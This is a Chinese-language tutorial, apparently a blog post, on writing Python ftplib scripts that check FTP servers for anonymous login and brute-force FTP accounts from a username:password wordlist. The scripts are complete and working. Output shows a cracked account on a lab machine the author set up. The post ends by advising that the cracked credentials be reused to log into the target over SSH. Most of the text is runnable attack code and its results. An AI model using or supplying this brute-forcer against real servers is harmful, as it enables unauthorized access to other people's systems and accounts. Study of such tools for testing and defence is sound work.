Python安全脚本开发五：爆破FTP口令

1.检查靶机FTP安装

dpkg -l | grep vsftpd                //如果没有输出则没安装FTP

可以使用以下命令安装

sudo apt update
sudo apt install vsftpd 

使用该命令检查FTP服务是否运行

sudo netstat -tuln | grep :21

安装完成后检查配置文件中是否开启了匿名登陆

sudo nano /etc/vsftpd.conf

anonymous_enable=YES

保存后重新启动协议

sudo systemctl restart vsftpd 

 2.脚本编写

FTP的匿名登录一般有三种：
        1、 用户名：anonymous 密码：Email或者为空
        2、 用户名：FTP 密码：FTP或者为空
        3、 用户名：USER 密码：pass

        编写FTP服务的脚本需要用到python的ftplib模块。

        整个脚本分为三部分，分别为：编写简单的匿名FTP脚本、编写暴力破解FTP用户口令的脚本和编写列出FTP服务服务器文件的脚本

        anonLogin()函数接受一个ip，并且返回一个布尔值描述判断主机是否可以登录

import ftplib

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous','anonymous')
        print('\n[+] ' + str(hostname) + 'FTP Anonymous Login Succeeded')
        ftp.quit()
        return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + 'FTP Anonymous Login Failed')
        return False
host = '192.168.145.140'
anonLogin(host)

用这样的方法可以简单判断目标主机是否开启匿名登录

        接下来是爆破的方法

import ftplib

def bruteLogin(hostname,passwdFile):
    p = open(passwdFile,'r')
    for line in p.readlines():
        user = line.split(':')[0]
        passwd = line.split(':')[1].strip()
        print('[*]Trying ' + user + ':' + passwd)
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(user,passwd)
            print('[+]Login Successful')
            print(f"Successfully cracked FTP login! Username: {user}, Password: {passwd}")
            ftp.quit()
            return user,passwd
        except Exception as e:
            print('[-]Login Failed')
            pass
    print('\n Could not brute login')
    return(None,None)

hostname = '192.168.145.140'
passwdFile = r'C:\Users\Limusi\Desktop\emmm\password.txt'
bruteLogin(hostname,passwdFile)

输出为

[*]Trying user1:password1
[-]Login Failed
[*]Trying admin:123456
[-]Login Failed
[*]Trying guest:guest123
[-]Login Failed
[*]Trying ftpuser:ftp12345
[-]Login Failed
[*]Trying test:testpass
[-]Login Failed
[*]Trying kali:kali123
[-]Login Failed
[*]Trying kali:kali
[+]Login Successful
Successfully cracked FTP login! Username: kali, Password: kali

 将两个代码结合到一起

import ftplib

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous','anonymous')
        print('\n[+] ' + str(hostname) + 'FTP Anonymous Login Succeeded')
        ftp.quit()
        return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + 'FTP Anonymous Login Failed')
        return False
def bruteLogin(hostname,passwdFile):
    p = open(passwdFile,'r')
    for line in p.readlines():
        user = line.split(':')[0]
        passwd = line.split(':')[1].strip()
        print('[*]Trying ' + user + ':' + passwd)
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(user,passwd)
            print('[+]Login Successful')
            print(f"Successfully cracked FTP login! Username: {user}, Password: {passwd}")
            ftp.quit()
            return user,passwd
        except Exception as e:
            print('[-]Login Failed')
            pass
    print('\n Could not brute login')
    return(None,None)

if __name__ == '__main__':
    hostname = '192.168.145.140'
    passwdFile = r'C:\Users\Limusi\Desktop\emmm\password.txt'
    if not anonLogin(hostname):
        print("\nAnonymous login failed. Attempting brute force login...")
        bruteLogin(hostname,passwdFile)

FTP的账号密码和目标主机的账号密码是一样的，所以当FTP爆破成功的时候其实就是知道了对方的目标主机的账号密码，这时候不妨直接SSH连接